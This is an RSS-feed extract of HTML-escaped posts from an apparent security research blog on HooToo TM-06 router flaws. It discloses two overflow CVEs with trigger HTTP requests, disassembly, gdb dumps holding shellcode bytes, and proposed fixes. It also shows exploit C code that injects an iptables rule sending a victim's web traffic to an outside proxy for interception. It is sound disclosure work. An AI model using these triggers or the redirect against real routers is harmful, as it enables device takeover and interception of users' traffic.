&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;do_cmd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x00410CD4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;do_cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;iptables -t nat -A PREROUTING -p tcp -i br0 &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;            --src 192.168.1.3 --dport 80 -j DNAT &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;            --to-destination 35.185.202.54:8800;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;          /etc/init.d/web restart&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The device is a router that runs a version of Linux, so almost by definition we should be able to play with the &lt;code class=&quot;highlighter-rouge&quot;&gt;iptables&lt;/code&gt; firewall rules. So, we install a rule that will NAT port &lt;code class=&quot;highlighter-rouge&quot;&gt;80&lt;/code&gt; traffic from &lt;code class=&quot;highlighter-rouge&quot;&gt;192.168.1.3&lt;/code&gt; client via a public proxy at &lt;code class=&quot;highlighter-rouge&quot;&gt;35.185.202.54:8800&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# iptables -t nat -L&lt;/span&gt;
Chain PREROUTING &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;policy ACCEPT&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
target     prot opt &lt;span class=&quot;nb&quot;&gt;source               &lt;/span&gt;destination         
DNAT       udp  &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;  anywhere             192.168.1.1    &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
     udp dpt:domain to:75.75.75.75:53 
DNAT       tcp  &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;  192.168.1.3          anywhere       &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
     tcp dpt:http to:35.185.202.54:8800 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On the proxy we run an instance of the MITM Proxy [6] with flags to forward any request to its intended destination. This will give us the ability to transparently observe or modify the user’s traffic. According to Google’s transperancy report [5], there are still quite a lot of major sites that do not use TLS by default. Just another example that one can never trust network infrastructure [7].&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;To review, we have taken a devices off the shelves. Explored its attack surface. Got a terminal where we could perform dynamic analysis with a debugger. Then, found vulnerabilities in the CGI webserver and exploited them. In this article we have seen one possible scenario how an attacker could start taking advantage of the vulnerabilities to change users’ traffic. The attacker could potentially use this vector to deploy browser exploits or collect sensitive user information.&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;p&gt;[0] &lt;a href=&quot;https://null-byte.wonderhowto.com/how-to/exploit-routers-unrooted-android-phone-0178066/&quot;&gt;Exploit Routers on an Unrooted Android Phone&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[1] &lt;a href=&quot;https://securelist.com/files/2016/10/Bartholomew-GuerreroSaade-VB2016.pdf&quot;&gt;Wave your false flags! Deception tactics muddying attribution in tergeted attacks&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[2] &lt;a href=&quot;https://www.tenable.com/sc-dashboards/update-services-vulnerability-summary&quot;&gt;Update Services Vulnerability Summary&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[3] &lt;a href=&quot;http://debugtrap.com/2017/04/10/tm06-embedded-webserver/&quot;&gt;Reverse Engineering of an Embedded Webserver&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[4] &lt;a href=&quot;https://bugs.chromium.org/p/project-zero/issues/detail?id=928#c5&quot;&gt;Attaching the shellcode wrapper.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[5] &lt;a href=&quot;https://www.google.com/transparencyreport/https/grid/&quot;&gt;HTTPS on Top Sites&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[6] &lt;a href=&quot;https://mitmproxy.org/&quot;&gt;mitmproxy&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[7] &lt;a href=&quot;https://www.amazon.com/Zero-Trust-Networks-Building-Untrusted/dp/1491962194/ref=sr_1_1?ie=UTF8&amp;amp;qid=1501177950&amp;amp;sr=8-1&amp;amp;keywords=zero+trust+networks&quot;&gt;Zero Trust Networks: Building Secure Systems in Untrusted Networks&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Tue, 20 Jun 2017 00:00:00 +0000</pubDate>
        <link>http://debugtrap.com/2017/06/20/tm06-exploits/</link>
        <guid isPermaLink="true">http://debugtrap.com/2017/06/20/tm06-exploits/</guid>
      </item>
     
    
     
      <item>
        <title>HooToo TM6 vulnerabilities</title>
        <description>&lt;p&gt;&lt;strong&gt;Part 3:&lt;/strong&gt; In the course of reverse engineering the HooToo TM-06 Travel router, there were two interesting vulnerabilities discovered. Both are in the IOOS (vshttpd) web service. This is not shocking because the web service appears to be a custom implementation specific to the device. That’s not to say the developers weren’t good, rather it is that custom code tends to be the one that receives the least scrutiny. One vulnerability is a stack overflow. Another, a heap overflow. In this article we’ll see how to fully exploit the heap buffer overflow vulnerability.&lt;/p&gt;

&lt;h1 id=&quot;tldr&quot;&gt;TL;DR&lt;/h1&gt;
&lt;p&gt;There is a partial ASLR implemented on the device: the dynamic libraries and the stack move around. So far as I could tell, there were no other significant protections. Both the heap and the stack are writable and executable.&lt;/p&gt;

&lt;p&gt;We found two buffer overflows. One is stack based (sprintf), which allows us to overwrite the return address on the executable stack. We were not able to exploit that vulnerability because it requires an information leak. However, it comes with a great attack vector via an XSRF. The other vulnerability is a heap overflow (strcpy) where we are able to overwrite a function pointer on the heap. We then leverage the fact that the heap is predictable, and does not move around, to build a full exploit with arbitrary binary code execution. Finally, we look at proposals on how to fix these vulnerabilities.&lt;/p&gt;

&lt;h1 id=&quot;background&quot;&gt;Background&lt;/h1&gt;
&lt;p&gt;In this article we walk through vulnerabilities found in the webserver component of the HooToo Travel Mate 6 router. For background knowledge on the product and the various subcomponents please see the previous posts on &lt;a href=&quot;http://debugtrap.com/2017/03/19/tm06-travel-safe/&quot;&gt;Protecting the digital nomad&lt;/a&gt; (Part 1) and &lt;a href=&quot;http://debugtrap.com/2017/04/10/tm06-embedded-webserver/&quot;&gt;Reverse Engineering of an Embedded Webserver&lt;/a&gt; (Part 2).&lt;/p&gt;

&lt;h1 id=&quot;stack-overflow&quot;&gt;Stack overflow&lt;/h1&gt;
&lt;p&gt;The HooToo HT-TM06 webserver suffers from a potentially exploitable stack overflow. We say potentially because the memory corruption mitigations, as enforced by the OS, prevent full exploitation. However, given that, historically, claims of non-exploitability have had the tendency of being wrong, I prefer to make it a soft claim. The webserver executes as a privileged process on the router, so an attacker could gain privileged code execution via this vulnerability. In addition to running as a &lt;code class=&quot;highlighter-rouge&quot;&gt;root&lt;/code&gt; user on the device the process listens to both internal and external interfaces.&lt;/p&gt;

&lt;h2 id=&quot;technical-details&quot;&gt;Technical Details:&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;CVE ID:&lt;/em&gt; &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9026&quot;&gt;CVE-2017-9026&lt;/a&gt;
&lt;em&gt;Affected versions:&lt;/em&gt; HT-TM06 Firmware 2.000.030&lt;/p&gt;

&lt;p&gt;This write up focuses on firmware 2.000.030 because at the time of analysis it was the latest version. However, due to the implementation style observed - abundance of &lt;code class=&quot;highlighter-rouge&quot;&gt;sprintf&lt;/code&gt;s and other dangerous functions, it is believed that earlier versions will also be vulnerable as well.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Binary:&lt;/em&gt; /usr/sbin/ioos&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ioos&lt;/code&gt; is a webserver responsible for handling the CGI content of the HT-TM06 web interface. Labeling itself &lt;code class=&quot;highlighter-rouge&quot;&gt;vshttpd&lt;/code&gt; on HTTP responses, it responds to requests behind a lighttpd proxy. The function of ioos is to coordinate user sessions, authenticate users and reconfigure the system upon request. The webserver is configured to respond to &lt;code class=&quot;highlighter-rouge&quot;&gt;*.csp&lt;/code&gt; requests such as &lt;code class=&quot;highlighter-rouge&quot;&gt;GET /protocol.csp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Upon closer analysis it was discovered that the ioos webserver has a stack overflow memory corruption vulnerability which can be triggered by an unauthenticated attacker. Most requests require an authentication token in the cookie to process, but the parameters abused by this vulnerability are processed before those checks are completed.&lt;/p&gt;

&lt;p&gt;The trigger HTTP request looks as follows:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /protocol.csp?fname=[long string]&amp;amp;opt=userlock&amp;amp;username=guest&amp;amp;function=get HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Cache-Control: no-cache
If-Modified-Since: 0
Accept: */*
Referer: http://192.168.1.1/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,ru;q=0.6
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice that the parameter &lt;code class=&quot;highlighter-rouge&quot;&gt;fname&lt;/code&gt; contains a very long string - longer than 256 bytes. That is what causes the overflow condition. Normally this string is just a few bytes.&lt;/p&gt;

&lt;p&gt;A response to this request (without triggering the memory corruption) looks like this:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 87
Content-type: text/xml;charset=UTF-8
Set-cookie: SESSID=Xqo72sI1QVtjqoHZWUgOE9 BYbWRzLH7yWvF2PgTv4dPl;
Date: Tue, 24 Jan 2017 15:46:16 GMT

&amp;lt;?xml version=&quot;1.0&quot; ?&amp;gt;&amp;lt;root&amp;gt;&amp;lt;[long string]&amp;gt;&amp;lt;waninfo&amp;gt;&amp;lt;errno&amp;gt;0&amp;lt;/errno&amp;gt;&amp;lt;/waninfo&amp;gt;&amp;lt;/[long string]&amp;gt;&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, it becomes clear that the &lt;code class=&quot;highlighter-rouge&quot;&gt;fname&lt;/code&gt; parameter is used to construct the XML response string. Looking at the disassembly we can see that the parameter value is used in the &lt;code class=&quot;highlighter-rouge&quot;&gt;xml_add_elem&lt;/code&gt; function. This function appends a formatted string value to the response message string.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;xml_add_elem:
.text:00512684 28 01 A2 27    addiu   $v0, $sp, 0x238+var_110  # Add Immediate Unsigned
.text:00512688 21 20 40 00    move    $a0, $v0         # s
.text:0051268C 38 80 85 8F    li      $a1, 0x540000    # Load Immediate
.text:00512690 00 00 00 00    nop
.text:00512694 E8 7A A5 24    addiu   $a1, (aS_19 - 0x540000)  # &quot;&amp;lt;/%s&amp;gt;&quot;
.text:00512698 3C 02 A6 8F    lw      $a2, 0x238+element_name($sp)  # Load Word

.text:0051269C E0 87 99 8F    la      $t9, sprintf     # Load Address
.text:005126A0 00 00 00 00    nop
.text:005126A4 09 F8 20 03    jalr    $t9 ; sprintf    # Jump And Link Register
.text:005126A8 00 00 00 00    nop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the disassembly above we can see that the destination string is a stack based buffer: &lt;code class=&quot;highlighter-rouge&quot;&gt;$sp + (0x238+var_110)&lt;/code&gt;. Since &lt;em&gt;sprintf&lt;/em&gt; is used instead of &lt;em&gt;snprintf&lt;/em&gt;, there is nothing to prevent the function from writing past the buffer boundary.&lt;/p&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Why is this issue so serious? Because it gives an unauthenticated attacker the ability to control the Program Counter. How? By allowing the attacker to change the function return address that is stored on the program stack which used to direct execution at the end of the function execution.&lt;/p&gt;

&lt;p&gt;As mentioned above the sprintf allows the attacker to write past the buffer boundary. On the stack, the buffer occupies 256 bytes:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) x/100wx $sp+0x128
0x7f8e1f78: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1f88: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1f98: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1fa8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1fb8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1fc8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1fd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1fe8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e1ff8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2008: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2018: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2028: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2038: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2048: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2058: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f8e2068: 0x00000000 0x00000000 0x00000000 0x00000000

0x7f8e2078: 0x00595ea8 0x00000001 0x0043bb04 0x0043b8d0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The destination buffer stops at &lt;code class=&quot;highlighter-rouge&quot;&gt;0x7f8e2078&lt;/code&gt; and begins at &lt;code class=&quot;highlighter-rouge&quot;&gt;0x7f8e1f78&lt;/code&gt; which the difference being &lt;code class=&quot;highlighter-rouge&quot;&gt;0x100 (256)&lt;/code&gt; as shown above. After the buffer, there are 8 bytes of local variables. The variables are followed by the saved return address (&lt;code class=&quot;highlighter-rouge&quot;&gt;$ra&lt;/code&gt; register). This return address is used by the function before it returns. We can see the current value is &lt;code class=&quot;highlighter-rouge&quot;&gt;0x0043bb04&lt;/code&gt; at location &lt;code class=&quot;highlighter-rouge&quot;&gt;0x7f8e2078 + 8&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After the sprintf call at location &lt;code class=&quot;highlighter-rouge&quot;&gt;.text:005126A4&lt;/code&gt;, the same location on the stack looks like this:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) x/100wx $sp+0x128
0x7f8e1f78: 0x0f242f3c 0xe001fdff 0xe001272b 0x06282728
0x7f8e1f88: 0x0224ffff 0x01015710 0xa2af0c01 0xa48fffff
0x7f8e1f98: 0x0f24ffff 0xe001fdff 0xafaf2778 0x0e3ce0ff
0x7f8e1fa8: 0xce35697a 0xaeaf697a 0x0d3ce4ff 0xad35080a
0x7f8e1fb8: 0xadaf0892 0xa523e6ff 0x0c24e2ff 0x8001efff
0x7f8e1fc8: 0x02242730 0x01014a10 0x0f240c01 0xe001fdff
0x7f8e1fd8: 0xa48f2728 0x0224ffff 0x0101df0f 0xa52b0c01
0x7f8e1fe8: 0x0124ffff 0xa114ffff 0x0628fbff 0x0f3cffff
0x7f8e1ff8: 0xef352f2f 0xafaf6962 0x0e3cf4ff 0xce352f6e
0x7f8e2008: 0xaeaf6873 0xa0aff8ff 0xa427fcff 0x0528f4ff
0x7f8e2018: 0x0224ffff 0x0101ab0f 0x41410c01 0x41414141
0x7f8e2028: 0x41414141 0x41414141 0x41414141 0x41414141
0x7f8e2038: 0x41414141 0x41414141 0x41414141 0x41414141
0x7f8e2048: 0x41414141 0x41414141 0x41414141 0x41414141
0x7f8e2058: 0x41414141 0x41414141 0x41414141 0x41414141
0x7f8e2068: 0x41414141 0x41414141 0x41414141 0x41414141

0x7f8e2078: 0x41414141 0x41414141 0x3e5126d0 0x0043b8d0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The return address value has been changed to an attacker specified value which means that the program will jump to that address to continue execution resulting in a crash:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Program received signal SIGSEGV, Segmentation fault.
0x3e5126d0 in ?? ()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The crash is occurring because the location we send the Program Counter to does not contain any valid instructions. After non-exhaustive attempts at exploitation we found that the partial ASLR deployed on the device was enough to swart our attempts at exploiting this particular vulnerability. There are two constraints that we have to deal with:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Due to the use of the &lt;code class=&quot;highlighter-rouge&quot;&gt;sprintf&lt;/code&gt; function, we cannot have NULLs in the buffer. Not an uncommon constraint.&lt;/li&gt;
  &lt;li&gt;Due to the use of the format string &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;&amp;lt;/%s&amp;gt;&quot;&lt;/code&gt;, the last character of the buffer must be a &lt;em&gt;greater than&lt;/em&gt; sign.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The following scenarios were considered:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Point the return address to some location is the main binary that would then jump to a buffer on the stack. The stack is executable (great!), however the program is located at a low address that starts with a zero. Due to the ending character in the format string, we cannot manage a zero character even though the architecture is little endian. Normally we’d be able to leverage the NULL that &lt;code class=&quot;highlighter-rouge&quot;&gt;sprintf&lt;/code&gt; automatically places at the end of the C-String.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Point the return address to some location in the heap. The heap is executable (great!). We are able to get a buffer into the heap (great!). The heap is at a location just above the main binary which has locations that start with a zero.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Point the return address to some useful library instruction. I realize that the libraries actually move around between executions due to memory randomization.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Point the return address directly to our buffer on the stack. The stack is located in high memory and moves around along with the libraries.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# sysctl -A | grep kernel.randomize_va_space 2&amp;gt;/dev/null
kernel.randomize_va_space = 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, in order to exploit this we need to find a memory leak to get one of the last two scenarios to work. This is really unfortunate, we got thwarted by memory randomization and constraints on the format string.&lt;/p&gt;

&lt;p&gt;Nonetheless, this vulnerability is particularly dangerous because, as you can see, it gets us really close to full exploitation. Also, if it works then it can be exploited without authentication and launched from the user’s web browser via a cross site request forgery attack. That is because the attack strings could be sent via a pure GET request. Such request can be embedded in some innocent looking page, an &lt;code class=&quot;highlighter-rouge&quot;&gt;iframe&lt;/code&gt; or via an XSS attack of some unrelated website. In essence we would be able to exploit a user’s router through their browser - what a great attack vector!&lt;/p&gt;

&lt;h2 id=&quot;the-fix&quot;&gt;The Fix&lt;/h2&gt;
&lt;p&gt;The bug is trivial to fix. First option is to just use &lt;code class=&quot;highlighter-rouge&quot;&gt;snprintf&lt;/code&gt; instead of &lt;code class=&quot;highlighter-rouge&quot;&gt;sprintf&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;“&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;%&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;”&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Alternatively, one can also enable the use of stack canaries and recompile the original code. The program will still be remotely crashable, depending on how exceptions are handled, but it should prevent the attacker from directly controlling the program counter.&lt;/p&gt;

&lt;h1 id=&quot;heap-overflow&quot;&gt;Heap overflow&lt;/h1&gt;
&lt;p&gt;The HooToo HT-TM06 webserver suffers from an exploitable heap overflow vulnerability. The webserver executes as a privileged process on the router, so an attacker could again privileged code execution via this vulnerability.&lt;/p&gt;

&lt;h2 id=&quot;technical-details-1&quot;&gt;Technical Details:&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;CVE ID:&lt;/em&gt; &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9025&quot;&gt;CVE-2017-9025&lt;/a&gt;
&lt;em&gt;Affected versions:&lt;/em&gt; HT-TM06 Firmware 2.000.030&lt;/p&gt;

&lt;p&gt;This write up focuses on firmware 2.000.030 because at the time of analysis it was the latest version. However, due to the implementation style observed, it is believed that earlier versions will also be vulnerable.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Binary:&lt;/em&gt; /usr/sbin/ioos&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ioos&lt;/code&gt; is the webserver responsible for handling the CGI content of the HT-TM06 web interface. Labeling itself &lt;code class=&quot;highlighter-rouge&quot;&gt;vshttpd&lt;/code&gt; on HTTP responses, the server responds to requests behind a lighttpd proxy. The function of ioos is to coordinate user sessions, authenticate users and reconfigure the system upon request. The webserver is configured to respond to &lt;code class=&quot;highlighter-rouge&quot;&gt;*.csp&lt;/code&gt; requests such as &lt;code class=&quot;highlighter-rouge&quot;&gt;GET /protocol.csp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Upon closer analysis it was discovered that the ioos webserver has a heap overflow memory corruption vulnerability which can be triggered by an unauthenticated attacker.&lt;/p&gt;

&lt;p&gt;The trigger HTTP request looks as follows:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /protocol.csp?fname=security&amp;amp;opt=userlock&amp;amp;username=guest&amp;amp;function=get HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Cache-Control: no-cache
If-Modified-Since: 0
Accept: */*
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,ru;q=0.6
Cookie: [long string]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice that the cookie header contains a very long string - longer than 1024 bytes. That is what causes the overflow condition.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.text:00521BC4  lw      $v1, 0x40+cgi_tab($sp) # Load Word
.text:00521BC8  li      $v0, 0x16858           # Load Immediate
.text:00521BD0  addu    $v0, $v1, $v0          # Add Unsigned
.text:00521BD4  move    $a0, $v0               # dest
.text:00521BD8  lw      $a1, 0x40+src($sp)     # src

.text:00521BDC  la      $t9, strcpy            # Load Address
.text:00521BE0  nop
.text:00521BE4  jalr    $t9 ; strcpy           # Jump And Link Register

.text:00521BE8  nop
.text:00521BEC  lw      $gp, 0x40+var_28($sp)  # Load Word
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The above code shows the call to strcpy which copies the user supplied data to an internal &lt;code class=&quot;highlighter-rouge&quot;&gt;cgi_tab&lt;/code&gt; data structure. The data structure is allocated on the heap with the string buffer, at most, 1028 bytes long. After the string buffer other data follows, specifically function pointers. This is a common pattern with data structures used in ioos.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; call is unbounded and so the unauthenticated user can supply any sized string to be copied into a fixed destination buffer.&lt;/p&gt;

&lt;h2 id=&quot;exploitation-1&quot;&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Why is this issue so serious? Because it gives an unauthenticated attacker control of the Program Counter. How? By allowing the attacker to change the function pointers following a string buffer on the heap. Doing so the attacker can change program flow and potentially execute malware.&lt;/p&gt;

&lt;p&gt;As previously mentioned the strcpy will write past the destination buffer end. Let’s see what happens under the microscope. We will set a breakpoint before and after the offending strcpy call.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Breakpoint 1, 0x00521bdc in ?? ()
(gdb) display /10i $pc
1: x/10i $pc
=&amp;gt; 0x521bdc: lw t9,-28472(gp)
   0x521be0: nop
   0x521be4: jalr t9    # &amp;lt;- strcpy
   0x521be8: nop
   0x521bec: lw gp,24(sp)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Before the call, the parameters look like this:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) x/10wx $a0                                  &amp;lt;- strcpy dest
0x5ad328: 0x00000000 0x00000000 0x00000000 0x00000000
0x5ad338: 0x00000000 0x00000000 0x00000000 0x00000000
0x5ad348: 0x00000000 0x00000000
(gdb) x/10wx $a0+1000                             &amp;lt;- end of dest
0x5ad710: 0x00000000 0x00000000 0x00000000 0x00000000
0x5ad720: 0x00000000 0x00000000 0x00000000 0x0051b660
0x5ad730: 0x0051b810 0x0051b844 &amp;lt;- Saved return address
(gdb) x/10wx $a1                                  &amp;lt;- strcpy src
0x5ad943: 0x41414141 0x41414141 0x41414141 0x41414141
0x5ad953: 0x41414141 0x41414141 0x41414141 0x41414141
0x5ad963: 0x41414141 0x41414141
(gdb) x/10wx $a1+1000                             &amp;lt;- end of src
0x5add2b: 0x41414141 0x41414141 0x41414141 0x41414141
0x5add3b: 0x41414141 0x41414141 0x41414141 0x41414141
0x5add4b: 0x41414141 0x42ff4242
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

